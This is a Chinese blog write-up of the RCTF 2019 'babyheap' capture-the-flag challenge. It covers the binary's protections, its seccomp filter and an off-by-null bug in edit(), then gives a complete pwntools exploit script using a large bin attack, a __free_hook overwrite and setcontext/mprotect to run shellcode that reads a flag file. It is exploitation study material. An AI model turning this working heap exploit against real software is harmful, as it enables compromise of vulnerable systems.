rctf2019_baby_heap

rctf2019-babyheap

这是个off-by-null的经典题目,值得深究一番。

[*] '/home/root0/pratice/pwn_category/heap/largebin_attack/rctf2019-babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开。

同时还有沙箱保护

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

差不多意思就是不能用execve(猜都能猜到,题目都是禁用的这个)

漏洞点

edit函数存在off-by-null

unsigned __int64 edit()
{
  int v0; // ST00_4
  int ret_value; // ST04_4
  __int64 idx; // [rsp+0h] [rbp-10h]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index: ");
  LODWORD(idx) = get_int();
  if ( (signed int)idx >= 0 && (signed int)idx <= 15 && global_mmap[2 * (signed int)idx] )
  {
    printf("Content: ", idx);
    ret_value = read_n((char *)global_mmap[2 * v0], (unsigned int)global_mmap[2 * v0 + 1]);
    *((_BYTE *)&global_mmap[2 * v0]->ptr + ret_value) = 0;// off-by-null
    puts("Edit success :)");
  }
  else
  {
    puts("Invalid index :(");
  }
  return __readfsqword(0x28u) ^ v4;
}

利用过程

  1. mallopt(1, 0); 程序初始化时存在改函数,这个会把使得global_max_fast为0x10,进而使得fast bin机制失效(我们可以利用unsorted bin attack之类的给它改回来,不过这次没有用这个操作)。
  2. chunk_extend,我们可以利用系统操作帮助我们在main_arena对应位置写入unsorted bin 的表头,进而使得unlink操作可以执行,从而实现chunk overlop,这样我们可以泄露地址了。
  3. 利用上面实现的堆块复用伪造large bin attack中的house of strom,这个手法对于开了pie的程序如鱼得水。
  4. 修改__free_hook为setcontext+53,同时将堆块赋值为ucontext_t结构(这个对于开了禁止系统调用的程序很实用)
  5. 调用free去执行setcontext,最终调用mprotect将堆地址改为可执行,同时将栈迁移到了堆上,最终执行shellcode去读flag

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./babyheap"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 
    success(libcbase + " ===> " + hex(libcbase))

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(text_base + addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def malloc(size):
    r.recvuntil("Choice: \n")
    r.sendline("1")
    r.sendlineafter("Size: ",str(size))

def edit(idx,content):
    r.sendlineafter("Choice: \n","2")
    r.sendlineafter("Index: ",str(idx))
    r.sendafter("Content: ",content)

def free(idx):
    r.sendlineafter("Choice: \n","3")
    r.sendlineafter("Index: ",str(idx))

def show(idx):
    r.sendlineafter("Choice: \n","4")
    r.sendlineafter("Index: ",str(idx))

malloc(0x10) #0
malloc(0x10) #1
malloc(0x28) #2
malloc(0xa70) #3
malloc(0x80) #4
malloc(0x10) #5
malloc(0x430) #6
malloc(0x10) #7
free(3)
edit(2,"a"*0x28)
malloc(0x40) #3
malloc(0x400) #8
malloc(0x10) #9
malloc(0x410) #10
malloc(0x150) #11
free(3)
free(4)
#debug(0x000000000001135)
malloc(0x40) #3
show(8)
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x39bb78
confirm(libcbase)
setcontext_addr = libcbase + libc.symbols["setcontext"]
mprotect_addr = libcbase + libc.symbols["mprotect"]
malloc(0x400) #4
malloc(0x6a0) #12
free(6)
free(4)
show(8)
heap_base = u64(r.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xba0
confirm(heap_base)
free(3)
free(12)
malloc(0xb00) #3
malloc(0x430) #4
payload = "a" * 0x40 + p64(0) + p64(0x411) + "a" * 0x400 + p64(0) + p64(0x21) + "a" * 0x10 + p64(0) + p64(0x421) + "a" * 0x410 + p64(0) + p64(0x271)
edit(3,payload)
free(8)
free(4)
malloc(0x430) #4
free(10)
free_hook = libcbase + libc.symbols["__free_hook"]
target_addr = free_hook - 0x10
fake_bk_nextsize = target_addr - 5 + 8 - 0x20
fake_bk = target_addr+8
fake_large = p64(0) + p64(0x411) + p64(0) + p64(fake_bk) + p64(0) + p64(fake_bk_nextsize)
fake_large = fake_large.ljust(0x410,"\x00")
fake_chunk = target_addr
fake_unsorted = p64(0) + p64(0x421) + p64(0) + p64(fake_chunk)
fake_unsorted = fake_unsorted.ljust(0x420,"\x00")
payload = "\x00" * 0x40 + fake_large + p64(0x410) + p64(0x20) + "\x00"*0x10+fake_unsorted + p64(0x420) + p64(0x270)
edit(3,payload)
gdb.attach(r)
malloc(0x48)
shellcode=asm(shellcraft.amd64.open("./flag",0))
shellcode+=asm(shellcraft.amd64.read(3,heap_base+0x100,0x30))
shellcode+=asm(shellcraft.amd64.write(1,heap_base+0x100,0x30))
heap_addr = heap_base + 0xbb0
frame = SigreturnFrame()
frame.rdi=heap_base&0xfffffffffffff000
frame.rsi=0x1000
frame.rdx=7
frame.rip=mprotect_addr
frame.rsp=heap_addr+len(str(frame))

payload = str(frame) + p64(heap_addr + len(str(frame))) + shellcode
edit(4,payload)
edit(6,p64(setcontext_addr+53))
r.recvuntil("Choice: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline("4")
r.interactive()

   转载规则


《rctf2019_baby_heap》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
2020XCTF抗疫情公益赛 2020XCTF抗疫情公益赛
XCTF 抗疫情高校联赛这里面我只写一些自认为有意思的题目,不过可以看V&N wp供大家参考。 bjut这个题目的难点在于漏洞的寻找,看他用了libc 2.29,本以为会在新的安全机制上做文章,最后发现原来是数组上溢漏洞,这种漏洞c
2020-03-20
下一篇 
恶意代码分析 lab-9.1 恶意代码分析 lab-9.1
恶意代码逆向这个东西复杂的要死,细节很多,我只写了自己关注的部分,这文章主要当做笔记给自己看的,写的不是很详细。 恶意代码分析 lab-9.1对于windows的恶意代码,导入函数起到非常大的作用,下面是改程序的: Address O
2020-02-14
  目录